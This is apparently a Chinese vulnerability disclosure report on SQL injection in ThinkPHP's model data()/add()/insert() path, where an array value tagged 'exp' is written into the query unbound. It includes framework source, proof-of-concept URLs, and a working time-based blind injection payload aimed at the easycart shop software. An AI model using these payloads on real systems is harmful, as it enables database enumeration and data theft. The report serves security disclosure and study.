### 简要描述:
thinkphp 某处缺陷可造成sql注射
### 详细说明:
下载最新的版本:
强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了
写一个demo:
```
public function test(){
$data = $_GET['data'];
$u = M('Data')->data(array(
'data' => $data
))->add();
dump($u);
}
```
问题出在哪里:
先看看data函数:
```
public function data($data=''){
if('' === $data && !empty($this->data)) {
return $this->data;
}
if(is_object($data)){
$data = get_object_vars($data);
}elseif(is_string($data)){
parse_str($data,$data);
}elseif(!is_array($data)){
E(L('_DATA_TYPE_INVALID_'));
}
$this->data = $data;
return $this;
}
```
没有做任何处理
然后数据流入到了add函数里面:
```
public function add($data='',$options=array(),$replace=false) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
// 分析表达式
$options = $this->_parseOptions($options);
if(false === $this->_before_insert($data,$options)) {
return false;
}
// 写入数据到数据库
$result = $this->db->insert($data,$options,$replace);
```
其他的都不用看 主要看insert函数:
```
public function insert($data,$options=array(),$replace=false) {
$values = $fields = array();
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
foreach ($data as $key=>$val){
if(is_array($val) && 'exp' == $val[0]){
$fields[] = $this->parseKey($key);
$values[] = $val[1];
}elseif(is_scalar($val)) { // 过滤非标量数据
$fields[] = $this->parseKey($key);
if(0===strpos($val,':') && in_array($val,array_keys($this->bind))){
$values[] = $this->parseValue($val);
}else{
$name = count($this->bind);
$values[] = ':'.$name;
$this->bindParam($name,$val);
}
}
}
// 兼容数字传入方式
$replace= (is_numeric($replace) && $replace>0)?true:$replace;
$sql = (true===$replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')'.$this->parseDuplicate($replace);
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
```
最终VALUES ('.implode(',', $values).') 这样一来我们就可以无视gpc函数进行注入了
if(is_array($val) && 'exp' == $val[0]){
$fields[] = $this->parseKey($key);
$values[] = $val[1];
http://localhost:8081/phpthink/index.php?a=test&data[0]=exp&data[1]=1,2,3,4,5&data[2]=2
后台抓取sql语句为:
2015/1/29 12:56 INSERT INTO `think_data` (`data`) VALUES (1,2,3,4,5)
[<img src="https://images.seebug.org/upload/201505/221752254a8089c2cfe0895fa31c07a2821c4d39.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/221752254a8089c2cfe0895fa31c07a2821c4d39.png)
然后 我们在看一下 现实中的例子
我们那原创中国easycart
MemberIndex.class.php:
```
public function doShippingAddress(){
self::$Model=D("Shippingaddress");
$list=self::$Model->where("id=".$this->memberID)->find();
if (self::$Model->create()){
//邮件订阅
$model=D('Newsletter');
if(isset($_POST['isNewsletter']) && $_POST['isNewsletter']==1){
$data['email']=$_POST['email'];
$data['addtime']=time();
if(isset($_POST['id']) && $_POST['id']>0){
$map['memberid']=$data['memberid']=$_POST['id'];
if($_POST['Newsletter_id']){
$map['id']=$_POST['Newsletter_id'];
}
$map['_logic']='or';
if(false == $model->where($map)->save($data)){
$model->add($data);
}
}
```
这里面的id正好符合要求:
url:
http://localhost/easycart/index.php/MemberIndex-doShippingAddress.html
postdata:
id[0]=exp&id[1]=if(ascii((substr((select user()),1,1)))=114,sleep(5),1)&Newsletter_id=1
抓取sql语句为:
INSERT INTO `ec_shippingaddress` (`id`) VALUES (if(ascii((substr((select user()),1,1)))=114,sleep(5),1))
这样一来就可以进行全站信息枚举
### 漏洞证明:
暂无评论